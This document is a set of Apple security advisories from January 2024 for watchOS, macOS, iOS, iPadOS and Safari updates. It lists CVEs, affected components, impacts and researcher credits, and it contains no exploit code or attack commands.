Apple Security Advisory 01-22-2024-8 - watchOS 10.3 addresses bypass and code execution vulnerabilities.

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APPLE-SA-01-22-2024-8 watchOS 10.3

watchOS 10.3 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/kb/HT214060.

Apple maintains a Security Updates page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

Apple Neural Engine  
Available for devices with Apple Neural Engine: Apple Watch Series 9 and  
Apple Watch Ultra 2  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2024-23212: Ye Zhang of Baidu Security

CoreCrypto  
Available for: Apple Watch Series 4 and later  
Impact: An attacker may be able to decrypt legacy RSA PKCS#1 v1.5  
ciphertexts without having the private key  
Description: A timing side-channel issue was addressed with improvements  
to constant-time computation in cryptographic functions.  
CVE-2024-23218: Clemens Lang

Kernel  
Available for: Apple Watch Series 4 and later  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2024-23208: fmyy(@binary_fmyy) and lime From TIANGONG Team of  
Legendsec at QI-ANXIN Group

Mail Search  
Available for: Apple Watch Series 4 and later  
Impact: An app may be able to access sensitive user data  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-23207: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab), and  
Ian de Marcellus

NSSpellChecker  
Available for: Apple Watch Series 4 and later  
Impact: An app may be able to access sensitive user data  
Description: A privacy issue was addressed with improved handling of  
files.  
CVE-2024-23223: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)

Safari  
Available for: Apple Watch Series 4 and later  
Impact: A user's private browsing activity may be visible in Settings  
Description: A privacy issue was addressed with improved handling of  
user preferences.  
CVE-2024-23211: Mark Bowers

Shortcuts  
Available for: Apple Watch Series 4 and later  
Impact: A shortcut may be able to use sensitive data with certain  
actions without prompting the user  
Description: The issue was addressed with additional permissions checks.  
CVE-2024-23204: Jubaer Alnazi (@h33tjubaer)

Shortcuts  
Available for: Apple Watch Series 4 and later  
Impact: An app may be able to bypass certain Privacy preferences  
Description: A privacy issue was addressed with improved handling of  
temporary files.  
CVE-2024-23217: Kirin (@Pwnrin)

TCC  
Available for: Apple Watch Series 4 and later  
Impact: An app may be able to access user-sensitive data  
Description: An issue was addressed with improved handling of temporary  
files.  
CVE-2024-23215: Zhongquan Li (@Guluisacat)

Time Zone  
Available for: Apple Watch Series 4 and later  
Impact: An app may be able to view a user's phone number in system logs  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-23210: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)

WebKit  
Available for: Apple Watch Series 4 and later  
Impact: A maliciously crafted webpage may be able to fingerprint the  
user  
Description: An access issue was addressed with improved access  
restrictions.  
WebKit Bugzilla: 262699  
CVE-2024-23206: an anonymous researcher

WebKit  
Available for: Apple Watch Series 4 and later  
Impact: Processing web content may lead to arbitrary code execution  
Description: The issue was addressed with improved memory handling.  
WebKit Bugzilla: 266619  
CVE-2024-23213: Wangtaiyu of Zhongfu info

Instructions on how to update your Apple Watch software are available  
at https://support.apple.com/kb/HT204641  To check the version on  
your Apple Watch, open the Apple Watch app on your iPhone and select  
"My Watch > General > About".  Alternatively, on your watch, select  
"My Watch > General > About".  
All information is also posted on the Apple Security Updates  
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Apple Security Advisory 01-22-2024-8

Apple Security Advisory 01-22-2024-7 - macOS Monterey 12.7.3 addresses code execution vulnerabilities.

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APPLE-SA-01-22-2024-7 macOS Monterey 12.7.3

macOS Monterey 12.7.3 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/kb/HT214057.

Apple maintains a Security Updates page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

Accessibility  
Available for: macOS Monterey  
Impact: An app may be able to access sensitive user data  
Description: A privacy issue was addressed with improved private data  
redaction for log entries.  
CVE-2023-42937: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)

Apple Neural Engine  
Available for: macOS Monterey  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2024-23212: Ye Zhang of Baidu Security

curl  
Available for: macOS Monterey  
Impact: Multiple issues in curl  
Description: Multiple issues were addressed by updating to curl version  
8.4.0.  
CVE-2023-38545  
CVE-2023-38039  
CVE-2023-38546  
CVE-2023-42915

ImageIO  
Available for: macOS Monterey  
Impact: Processing a maliciously crafted image may result in disclosure  
of process memory  
Description: The issue was addressed with improved checks.  
CVE-2023-42888: Michael DePlante (@izobashi) of Trend Micro Zero Day  
Initiative

Mail Search  
Available for: macOS Monterey  
Impact: An app may be able to access sensitive user data  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-23207: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab), and  
Ian de Marcellus

WebKit  
Available for: macOS Monterey  
Impact: Processing maliciously crafted web content may lead to arbitrary  
code execution. Apple is aware of a report that this issue may have been  
exploited.  
Description: A type confusion issue was addressed with improved checks.  
WebKit Bugzilla: 267134  
CVE-2024-23222

macOS Monterey 12.7.3 may be obtained from the Mac App Store or  
Apple's Software Downloads web site:  
https://support.apple.com/downloads/  
All information is also posted on the Apple Security Updates  
web site: https://support.apple.com/en-us/HT201222.

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Apple Security Advisory 01-22-2024-7

Apple Security Advisory 01-22-2024-6 - macOS Ventura 13.6.4 addresses bypass and code execution vulnerabilities.

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APPLE-SA-01-22-2024-6 macOS Ventura 13.6.4

macOS Ventura 13.6.4 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/kb/HT214058.

Apple maintains a Security Updates page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

Apple Neural Engine  
Available for: macOS Ventura  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2024-23212: Ye Zhang of Baidu Security

Accessibility  
Available for: macOS Ventura  
Impact: An app may be able to access sensitive user data  
Description: A privacy issue was addressed with improved private data  
redaction for log entries.  
CVE-2023-42937: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)

Core Data  
Available for: macOS Ventura  
Impact: An app may be able to bypass Privacy preferences  
Description: This issue was addressed by removing the vulnerable code.  
CVE-2023-40528: Kirin (@Pwnrin) of NorthSea

curl  
Available for: macOS Ventura  
Impact: Multiple issues in curl  
Description: Multiple issues were addressed by updating to curl version  
8.4.0.  
CVE-2023-38545  
CVE-2023-38039  
CVE-2023-38546  
CVE-2023-42915

Finder  
Available for: macOS Ventura  
Impact: An app may be able to access sensitive user data  
Description: The issue was addressed with improved checks.  
CVE-2024-23224: Brian McNulty

ImageIO  
Available for: macOS Ventura  
Impact: Processing a maliciously crafted image may result in disclosure  
of process memory  
Description: The issue was addressed with improved checks.  
CVE-2023-42888: Michael DePlante (@izobashi) of Trend Micro Zero Day  
Initiative

LoginWindow  
Available for: macOS Ventura  
Impact: A local attacker may be able to view the previous logged in  
user’s desktop from the fast user switching screen  
Description: An authentication issue was addressed with improved state  
management.  
CVE-2023-42935

Mail Search  
Available for: macOS Ventura  
Impact: An app may be able to access sensitive user data  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-23207: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab), and  
Ian de Marcellus

NSOpenPanel  
Available for: macOS Ventura  
Impact: An app may be able to read arbitrary files  
Description: An access issue was addressed with additional sandbox  
restrictions.  
CVE-2023-42887: Ron Masas of BreakPoint.sh

WebKit  
Available for: macOS Ventura  
Impact: Processing maliciously crafted web content may lead to arbitrary  
code execution. Apple is aware of a report that this issue may have been  
exploited.  
Description: A type confusion issue was addressed with improved checks.  
WebKit Bugzilla: 267134  
CVE-2024-23222

macOS Ventura 13.6.4 may be obtained from the Mac App Store or  
Apple's Software Downloads web site:  
https://support.apple.com/downloads/  
All information is also posted on the Apple Security Updates  
web site: https://support.apple.com/en-us/HT201222.

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Apple Security Advisory 01-22-2024-6

Apple Security Advisory 01-22-2024-5 - macOS Sonoma 14.3 addresses bypass and code execution vulnerabilities.

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APPLE-SA-01-22-2024-5 macOS Sonoma 14.3

macOS Sonoma 14.3 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/kb/HT214061.

Apple maintains a Security Updates page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

Apple Neural Engine  
Available for: macOS Sonoma  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2024-23212: Ye Zhang of Baidu Security

CoreCrypto  
Available for: macOS Sonoma  
Impact: An attacker may be able to decrypt legacy RSA PKCS#1 v1.5  
ciphertexts without having the private key  
Description: A timing side-channel issue was addressed with improvements  
to constant-time computation in cryptographic functions.  
CVE-2024-23218: Clemens Lang

Finder  
Available for: macOS Sonoma  
Impact: An app may be able to access sensitive user data  
Description: The issue was addressed with improved checks.  
CVE-2024-23224: Brian McNulty

Kernel  
Available for: macOS Sonoma  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2024-23208: fmyy(@binary_fmyy) and lime From TIANGONG Team of  
Legendsec at QI-ANXIN Group

LLVM  
Available for: macOS Sonoma  
Impact: Processing web content may lead to arbitrary code execution  
Description: The issue was addressed with improved memory handling.  
CVE-2024-23209

Mail Search  
Available for: macOS Sonoma  
Impact: An app may be able to access sensitive user data  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-23207: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab), and  
Ian de Marcellus

NSSpellChecker  
Available for: macOS Sonoma  
Impact: An app may be able to access sensitive user data  
Description: A privacy issue was addressed with improved handling of  
files.  
CVE-2024-23223: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)

Safari  
Available for: macOS Sonoma  
Impact: A user's private browsing activity may be visible in Settings  
Description: A privacy issue was addressed with improved handling of  
user preferences.  
CVE-2024-23211: Mark Bowers

Shortcuts  
Available for: macOS Sonoma  
Impact: A shortcut may be able to use sensitive data with certain  
actions without prompting the user  
Description: The issue was addressed with additional permissions checks.  
CVE-2024-23203: an anonymous researcher  
CVE-2024-23204: Jubaer Alnazi (@h33tjubaer)

Shortcuts  
Available for: macOS Sonoma  
Impact: An app may be able to bypass certain Privacy preferences  
Description: A privacy issue was addressed with improved handling of  
temporary files.  
CVE-2024-23217: Kirin (@Pwnrin)

TCC  
Available for: macOS Sonoma  
Impact: An app may be able to access user-sensitive data  
Description: An issue was addressed with improved handling of temporary  
files.  
CVE-2024-23215: Zhongquan Li (@Guluisacat)

Time Zone  
Available for: macOS Sonoma  
Impact: An app may be able to view a user's phone number in system logs  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-23210: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)

WebKit  
Available for: macOS Sonoma  
Impact: A maliciously crafted webpage may be able to fingerprint the  
user  
Description: An access issue was addressed with improved access  
restrictions.  
WebKit Bugzilla: 262699  
CVE-2024-23206: an anonymous researcher

WebKit  
Available for: macOS Sonoma  
Impact: Processing web content may lead to arbitrary code execution  
Description: The issue was addressed with improved memory handling.  
WebKit Bugzilla: 266619  
CVE-2024-23213: Wangtaiyu of Zhongfu info

WebKit  
Available for: macOS Sonoma  
Impact: Processing maliciously crafted web content may lead to arbitrary  
code execution  
Description: Multiple memory corruption issues were addressed with  
improved memory handling.  
WebKit Bugzilla: 265129  
CVE-2024-23214: Nan Wang (@eternalsakura13) of 360 Vulnerability  
Research Institute

WebKit  
Available for: macOS Sonoma  
Impact: Processing maliciously crafted web content may lead to arbitrary  
code execution. Apple is aware of a report that this issue may have been  
exploited.  
Description: A type confusion issue was addressed with improved checks.  
WebKit Bugzilla: 267134  
CVE-2024-23222

macOS Sonoma 14.3 may be obtained from the Mac App Store or Apple's  
Software Downloads web site: https://support.apple.com/downloads/  
All information is also posted on the Apple Security Updates  
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,  
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Apple Security Advisory 01-22-2024-5

Apple Security Advisory 01-22-2024-4 - iOS 15.8.1 and iPadOS 15.8.1 addresses code execution and out of bounds read vulnerabilities.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256APPLE-SA-01-22-2024-4 iOS 15.8.1 and iPadOS 15.8.1iOS 15.8.1 and iPadOS 15.8.1 addresses the following issues.Information about the security content is also available athttps://support.apple.com/kb/HT214062.Apple maintains a Security Updates page athttps://support.apple.com/HT201222 which lists recentsoftware updates with security advisories.WebKitAvailable for: iPhone 6s (all models), iPhone 7 (all models), iPhone SE(1st generation), iPad Air 2, iPad mini (4th generation), and iPod touch(7th generation)Impact: Processing web content may disclose sensitive information. Appleis aware of a report that this issue may have been exploited againstversions of iOS before iOS 16.7.1.Description: An out-of-bounds read was addressed with improved inputvalidation.WebKit Bugzilla: 265041CVE-2023-42916: Clément Lecigne of Google's Threat Analysis GroupWebKitAvailable for: iPhone 6s (all models), iPhone 7 (all models), iPhone SE(1st generation), iPad Air 2, iPad mini (4th generation), and iPod touch(7th generation)Impact: Processing web content may lead to arbitrary code execution.Apple is aware of a report that this issue may have been exploitedagainst versions of iOS before iOS 16.7.1.Description: A memory corruption vulnerability was addressed withimproved locking.WebKit Bugzilla: 265067CVE-2023-42917: Clément Lecigne of Google's Threat Analysis GroupThis update is available through iTunes and Software Update on youriOS device, and will not appear in your computer's Software Updateapplication, or in the Apple Downloads site. Make sure you have anInternet connection and have installed the latest version of iTunesfrom https://www.apple.com/itunes/  iTunes and Software Update on thedevice will automatically check Apple's update server on its weeklyschedule. When an update is detected, it is downloaded and the optionto be installed is presented to the user when the iOS device isdocked. We recommend applying the update immediately if possible.Selecting Don't Install will present the option the next time youconnect your iOS device.  The automatic update process may take up toa week depending on the day that iTunes or the device checks forupdates. You may manually obtain the update via the Check for Updatesbutton within iTunes, or the Software Update on your device.  Tocheck that the iPhone, iPod touch, or iPad has been updated:  *Navigate to Settings * Select General * Select About. The versionafter applying this update will be "iOS 15.8.1 and iPadOS 15.8.1".All information is also posted on the Apple Security Updatesweb site: https://support.apple.com/en-us/HT201222.This message is signed with Apple's Product Security PGP key,and details are available at:https://www.apple.com/support/security/pgp/-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmWvDd8ACgkQX+5d1TXaIvrnYQ//eEhI4dYnq+om+sw4N+fNEcTZWLtBe3GyWgzVtBuvWOwt0Z34BNfVD4jFz1YlzYp18bzYTCdThkIrvQSe/QmYEmdKt16RtQH3qJTyE18h2YLG31gA/ja8iPcNAdqQqz6tJEq9aUrmeyAhFNsEZX7PHVfuSigqi8495rMcN1xI6caCS7Tio98EVmNe6cMRLUefSJH0z5GvwjbTgLCKbhv+/pDAq0L8Lqosy9CFS+oMRYyCdXoPL3E2wOpdnxVgjctp6YJrjT/LFdeT8e3gu6oOo/Pj+bx9RWP8vVS0jos5DXOJJAnLn3qOt9yStqmECBpque3L3PrhToPdSCiIFE8JbHFBWscO/TaF3rQvmZfLSx+HKJR8VSAjpGThjLHWAQUFUauoQ1TudmtA3y9rolCkvhMeZXvbi0dxkEgRtBCbJzRWfMQ6rPeOOkgUUSBkVM/O55bhQ1JqmpUBq2s4lCx6EErwSm1XS6ooXxZt9FWltqhu+ixgne63X8U5+cLJlkRWjeIC63pziGkB6RbIQkupEanrbH8ekRFQs4zIazq1fjZANRN71y+wAZZ5tcbvH37FzUPT7HL9ZPMO8wvVVFEEHNx4RIB+KNSH2E/z67Jhs9nM1atUNg1djufg/mmAfx/83pQretb4xqiN6VKJdPCY/BXkWhBJbdWUpqsODUmfvY0==wSSi-----END PGP SIGNATURE-----

Apple Security Advisory 01-22-2024-4

Apple Security Advisory 01-22-2024-3 - iOS 16.7.5 and iPadOS 16.7.5 addresses code execution vulnerabilities.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256APPLE-SA-01-22-2024-3 iOS 16.7.5 and iPadOS 16.7.5iOS 16.7.5 and iPadOS 16.7.5 addresses the following issues.Information about the security content is also available athttps://support.apple.com/kb/HT214063.Apple maintains a Security Updates page athttps://support.apple.com/HT201222 which lists recentsoftware updates with security advisories.AccessibilityAvailable for: iPhone 8, iPhone 8 Plus, iPhone X, iPad 5th generation,iPad Pro 9.7-inch, and iPad Pro 12.9-inch 1st generationImpact: An app may be able to access sensitive user dataDescription: A privacy issue was addressed with improved private dataredaction for log entries.CVE-2023-42937: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)Apple Neural EngineAvailable for: iPhone 8, iPhone 8 Plus, iPhone X, iPad 5th generation,iPad Pro 9.7-inch, and iPad Pro 12.9-inch 1st generationImpact: An app may be able to execute arbitrary code with kernelprivilegesDescription: The issue was addressed with improved memory handling.CVE-2024-23212: Ye Zhang of Baidu SecuritycurlAvailable for: iPhone 8, iPhone 8 Plus, iPhone X, iPad 5th generation,iPad Pro 9.7-inch, and iPad Pro 12.9-inch 1st generationImpact: Multiple issues in curlDescription: Multiple issues were addressed by updating to curl version8.4.0.CVE-2023-38545CVE-2023-38039CVE-2023-38546CVE-2023-42915ImageIOAvailable for: iPhone 8, iPhone 8 Plus, iPhone X, iPad 5th generation,iPad Pro 9.7-inch, and iPad Pro 12.9-inch 1st generationImpact: Processing a maliciously crafted image may result in disclosureof process memoryDescription: The issue was addressed with improved checks.CVE-2023-42888: Michael DePlante (@izobashi) of Trend Micro Zero DayInitiativeSafariAvailable for: iPhone 8, iPhone 8 Plus, iPhone X, iPad 5th generation,iPad Pro 9.7-inch, and iPad Pro 12.9-inch 1st generationImpact: A user's private browsing activity may be visible in SettingsDescription: A privacy issue was addressed with improved handling ofuser preferences.CVE-2024-23211: Mark BowersWebKitAvailable for: iPhone 8, iPhone 8 Plus, iPhone X, iPad 5th generation,iPad Pro 9.7-inch, and iPad Pro 12.9-inch 1st generationImpact: Processing web content may lead to arbitrary code executionDescription: The issue was addressed with improved memory handling.WebKit Bugzilla: 266619CVE-2024-23213: Wangtaiyu of Zhongfu infoWebKitAvailable for: iPhone 8, iPhone 8 Plus, iPhone X, iPad 5th generation,iPad Pro 9.7-inch, and iPad Pro 12.9-inch 1st generationImpact: Processing maliciously crafted web content may lead to arbitrarycode executionDescription: Multiple memory corruption issues were addressed withimproved memory handling.WebKit Bugzilla: 265129CVE-2024-23214: Nan Wang (@eternalsakura13) of 360 VulnerabilityResearch InstituteWebKitAvailable for: iPhone 8, iPhone 8 Plus, iPhone X, iPad 5th generation,iPad Pro 9.7-inch, and iPad Pro 12.9-inch 1st generationImpact: A maliciously crafted webpage may be able to fingerprint theuserDescription: An access issue was addressed with improved accessrestrictions.WebKit Bugzilla: 262699CVE-2024-23206: an anonymous researcherWebKitAvailable for: iPhone 8, iPhone 8 Plus, iPhone X, iPad 5th generation,iPad Pro 9.7-inch, and iPad Pro 12.9-inch 1st generationImpact: Processing maliciously crafted web content may lead to arbitrarycode execution. Apple is aware of a report that this issue may have beenexploited.Description: A type confusion issue was addressed with improved checks.WebKit Bugzilla: 267134CVE-2024-23222This update is available through iTunes and Software Update on youriOS device, and will not appear in your computer's Software Updateapplication, or in the Apple Downloads site. Make sure you have anInternet connection and have installed the latest version of iTunesfrom https://www.apple.com/itunes/  iTunes and Software Update on thedevice will automatically check Apple's update server on its weeklyschedule. When an update is detected, it is downloaded and the optionto be installed is presented to the user when the iOS device isdocked. We recommend applying the update immediately if possible.Selecting Don't Install will present the option the next time youconnect your iOS device.  The automatic update process may take up toa week depending on the day that iTunes or the device checks forupdates. You may manually obtain the update via the Check for Updatesbutton within iTunes, or the Software Update on your device.  Tocheck that the iPhone, iPod touch, or iPad has been updated:  *Navigate to Settings * Select General * Select About. The versionafter applying this update will be "iOS 16.7.5 and iPadOS 16.7.5".All information is also posted on the Apple Security Updatesweb site: https://support.apple.com/en-us/HT201222.This message is signed with Apple's Product Security PGP key,and details are available at:https://www.apple.com/support/security/pgp/-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmWvDacACgkQX+5d1TXaIvpgXxAAvQ8KvvppTOQ/4HsWUyKkJyubBU+8sgfM/tKBbk/Lb2ABMGhzb/Ln68Bg2GB23kOI5y0X6Gy9IZqAl8TY71baaxrgZQrz0uXMfdgzA1Gcf3mAP/mGyDYcKy2pBMwnuJQbO0dzZCcm0P069WDBW6jDwBJwzZ3f50LUCH8CgqNgdZ+ey+hMLfDEbamTtySwDXxL3ORgFoDY1X4ysxUlPGRqZhQ0vwWQ0cvcDFJyrP+Xy76V5XhP8/zEiAUmlzf6jVWjJq3DkkTKw1CamM5tvyc5Jm7tagOFZPaLi2k5no8YtjU7kKxXjTpsg+itT0p5yNJeCtKP6fZdRryT+t9tGUk0QjFjin8WUO0otqn3v+MI/ezn4YM8ioCzL5YcN6rvm+9ta4Q5C5h9UoVF1KsM9Zs/e6f8nfF8aWRcrMTCR83TUhBoviSuWyvfxo5iDbNDws+ijuBKqEYHRrBnGMZSyyzFzfl5Nlf9HeEyslpJ0Jt0ta1i9IyYNlDotKo3wDcvDQc3lIM4oeW/A3qt0lDqwfhz1M5Kf6I5LqY6YE5fCGg8YOBqSVtvH39BwDzT2yVmJHeX6CpFEkR4tsGYN4HTKoo50SVQeAtPh4iaG4qLes2T5b/T18hEjaSfVsJOL4vHPIQiU1DqfQa5Fjn/HVUljPZPL5A+OsjYcs8z9nPbySIlWyE==9qeR-----END PGP SIGNATURE-----

Apple Security Advisory 01-22-2024-3

Apple Security Advisory 01-22-2024-2 - iOS 17.3 and iPadOS 17.3 addresses bypass and code execution vulnerabilities.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256APPLE-SA-01-22-2024-2 iOS 17.3 and iPadOS 17.3iOS 17.3 and iPadOS 17.3 addresses the following issues.Information about the security content is also available athttps://support.apple.com/kb/HT214059.Apple maintains a Security Updates page athttps://support.apple.com/HT201222 which lists recentsoftware updates with security advisories.Apple Neural EngineAvailable for devices with Apple Neural Engine: iPhone XS and later,iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1stgeneration and later, iPad Air 3rd generation and later, iPad 8thgeneration and later, and iPad mini 5th generation and laterImpact: An app may be able to execute arbitrary code with kernelprivilegesDescription: The issue was addressed with improved memory handling.CVE-2024-23212: Ye Zhang of Baidu SecurityCoreCryptoAvailable for: iPhone XS and later, iPad Pro 12.9-inch 2nd generationand later, iPad Pro 10.5-inch, iPad Pro 11-inch 1st generation andlater, iPad Air 3rd generation and later, iPad 6th generation and later,and iPad mini 5th generation and laterImpact: An attacker may be able to decrypt legacy RSA PKCS#1 v1.5ciphertexts without having the private keyDescription: A timing side-channel issue was addressed with improvementsto constant-time computation in cryptographic functions.CVE-2024-23218: Clemens LangKernelAvailable for: iPhone XS and later, iPad Pro 12.9-inch 2nd generationand later, iPad Pro 10.5-inch, iPad Pro 11-inch 1st generation andlater, iPad Air 3rd generation and later, iPad 6th generation and later,and iPad mini 5th generation and laterImpact: An app may be able to execute arbitrary code with kernelprivilegesDescription: The issue was addressed with improved memory handling.CVE-2024-23208: fmyy(@binary_fmyy) and lime From TIANGONG Team ofLegendsec at QI-ANXIN GroupMail SearchAvailable for: iPhone XS and later, iPad Pro 12.9-inch 2nd generationand later, iPad Pro 10.5-inch, iPad Pro 11-inch 1st generation andlater, iPad Air 3rd generation and later, iPad 6th generation and later,and iPad mini 5th generation and laterImpact: An app may be able to access sensitive user dataDescription: This issue was addressed with improved redaction ofsensitive information.CVE-2024-23207: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab), andIan de MarcellusNSSpellCheckerAvailable for: iPhone XS and later, iPad Pro 12.9-inch 2nd generationand later, iPad Pro 10.5-inch, iPad Pro 11-inch 1st generation andlater, iPad Air 3rd generation and later, iPad 6th generation and later,and iPad mini 5th generation and laterImpact: An app may be able to access sensitive user dataDescription: A privacy issue was addressed with improved handling offiles.CVE-2024-23223: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)Reset ServicesAvailable for: iPhone XS and laterImpact: Stolen Device Protection may be unexpectedly disabledDescription: The issue was addressed with improved authentication.CVE-2024-23219: Peter Watthey and Christian ScaleseSafariAvailable for: iPhone XS and later, iPad Pro 12.9-inch 2nd generationand later, iPad Pro 10.5-inch, iPad Pro 11-inch 1st generation andlater, iPad Air 3rd generation and later, iPad 6th generation and later,and iPad mini 5th generation and laterImpact: A user's private browsing activity may be visible in SettingsDescription: A privacy issue was addressed with improved handling ofuser preferences.CVE-2024-23211: Mark BowersShortcutsAvailable for: iPhone XS and later, iPad Pro 12.9-inch 2nd generationand later, iPad Pro 10.5-inch, iPad Pro 11-inch 1st generation andlater, iPad Air 3rd generation and later, iPad 6th generation and later,and iPad mini 5th generation and laterImpact: A shortcut may be able to use sensitive data with certainactions without prompting the userDescription: The issue was addressed with additional permissions checks.CVE-2024-23203: an anonymous researcherCVE-2024-23204: Jubaer Alnazi (@h33tjubaer)ShortcutsAvailable for: iPhone XS and later, iPad Pro 12.9-inch 2nd generationand later, iPad Pro 10.5-inch, iPad Pro 11-inch 1st generation andlater, iPad Air 3rd generation and later, iPad 6th generation and later,and iPad mini 5th generation and laterImpact: An app may be able to bypass certain Privacy preferencesDescription: A privacy issue was addressed with improved handling oftemporary files.CVE-2024-23217: Kirin (@Pwnrin)TCCAvailable for: iPhone XS and later, iPad Pro 12.9-inch 2nd generationand later, iPad Pro 10.5-inch, iPad Pro 11-inch 1st generation andlater, iPad Air 3rd generation and later, iPad 6th generation and later,and iPad mini 5th generation and laterImpact: An app may be able to access user-sensitive dataDescription: An issue was addressed with improved handling of temporaryfiles.CVE-2024-23215: Zhongquan Li (@Guluisacat)Time ZoneAvailable for: iPhone XS and later, iPad Pro 12.9-inch 2nd generationand later, iPad Pro 10.5-inch, iPad Pro 11-inch 1st generation andlater, iPad Air 3rd generation and later, iPad 6th generation and later,and iPad mini 5th generation and laterImpact: An app may be able to view a user's phone number in system logsDescription: This issue was addressed with improved redaction ofsensitive information.CVE-2024-23210: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)WebKitAvailable for: iPhone XS and later, iPad Pro 12.9-inch 2nd generationand later, iPad Pro 10.5-inch, iPad Pro 11-inch 1st generation andlater, iPad Air 3rd generation and later, iPad 6th generation and later,and iPad mini 5th generation and laterImpact: A maliciously crafted webpage may be able to fingerprint theuserDescription: An access issue was addressed with improved accessrestrictions.WebKit Bugzilla: 262699CVE-2024-23206: an anonymous researcherWebKitAvailable for: iPhone XS and later, iPad Pro 12.9-inch 2nd generationand later, iPad Pro 10.5-inch, iPad Pro 11-inch 1st generation andlater, iPad Air 3rd generation and later, iPad 6th generation and later,and iPad mini 5th generation and laterImpact: Processing web content may lead to arbitrary code executionDescription: The issue was addressed with improved memory handling.WebKit Bugzilla: 266619CVE-2024-23213: Wangtaiyu of Zhongfu infoWebKitAvailable for: iPhone XS and later, iPad Pro 12.9-inch 2nd generationand later, iPad Pro 10.5-inch, iPad Pro 11-inch 1st generation andlater, iPad Air 3rd generation and later, iPad 6th generation and later,and iPad mini 5th generation and laterImpact: Processing maliciously crafted web content may lead to arbitrarycode executionDescription: Multiple memory corruption issues were addressed withimproved memory handling.WebKit Bugzilla: 265129CVE-2024-23214: Nan Wang (@eternalsakura13) of 360 VulnerabilityResearch InstituteWebKitAvailable for: iPhone XS and later, iPad Pro 12.9-inch 2nd generationand later, iPad Pro 10.5-inch, iPad Pro 11-inch 1st generation andlater, iPad Air 3rd generation and later, iPad 6th generation and later,and iPad mini 5th generation and laterImpact: Processing maliciously crafted web content may lead to arbitrarycode execution. Apple is aware of a report that this issue may have beenexploited.Description: A type confusion issue was addressed with improved checks.WebKit Bugzilla: 267134CVE-2024-23222This update is available through iTunes and Software Update on youriOS device, and will not appear in your computer's Software Updateapplication, or in the Apple Downloads site. Make sure you have anInternet connection and have installed the latest version of iTunesfrom https://www.apple.com/itunes/  iTunes and Software Update on thedevice will automatically check Apple's update server on its weeklyschedule. When an update is detected, it is downloaded and the optionto be installed is presented to the user when the iOS device isdocked. We recommend applying the update immediately if possible.Selecting Don't Install will present the option the next time youconnect your iOS device.  The automatic update process may take up toa week depending on the day that iTunes or the device checks forupdates. You may manually obtain the update via the Check for Updatesbutton within iTunes, or the Software Update on your device.  Tocheck that the iPhone, iPod touch, or iPad has been updated:  *Navigate to Settings * Select General * Select About. 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Apple Security Advisory 01-22-2024-2

Apple Security Advisory 01-22-2024-1 - Safari 17.3 addresses code execution vulnerabilities.

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Safari 17.3 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/kb/HT214056.

Apple maintains a Security Updates page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

Safari  
Available for: macOS Monterey and macOS Ventura  
Impact: A user's private browsing activity may be visible in Settings  
Description: A privacy issue was addressed with improved handling of  
user preferences.  
CVE-2024-23211: Mark Bowers

WebKit  
Available for: macOS Monterey and macOS Ventura  
Impact: A maliciously crafted webpage may be able to fingerprint the  
user  
Description: An access issue was addressed with improved access  
restrictions.  
WebKit Bugzilla: 262699  
CVE-2024-23206: an anonymous researcher

WebKit  
Available for: macOS Monterey and macOS Ventura  
Impact: Processing web content may lead to arbitrary code execution  
Description: The issue was addressed with improved memory handling.  
WebKit Bugzilla: 266619  
CVE-2024-23213: Wangtaiyu of Zhongfu info

WebKit  
Available for: macOS Monterey and macOS Ventura  
Impact: Processing maliciously crafted web content may lead to arbitrary  
code execution. Apple is aware of a report that this issue may have been  
exploited.  
Description: A type confusion issue was addressed with improved checks.  
WebKit Bugzilla: 267134  
CVE-2024-23222

Safari 17.3 may be obtained from the Mac App Store.  
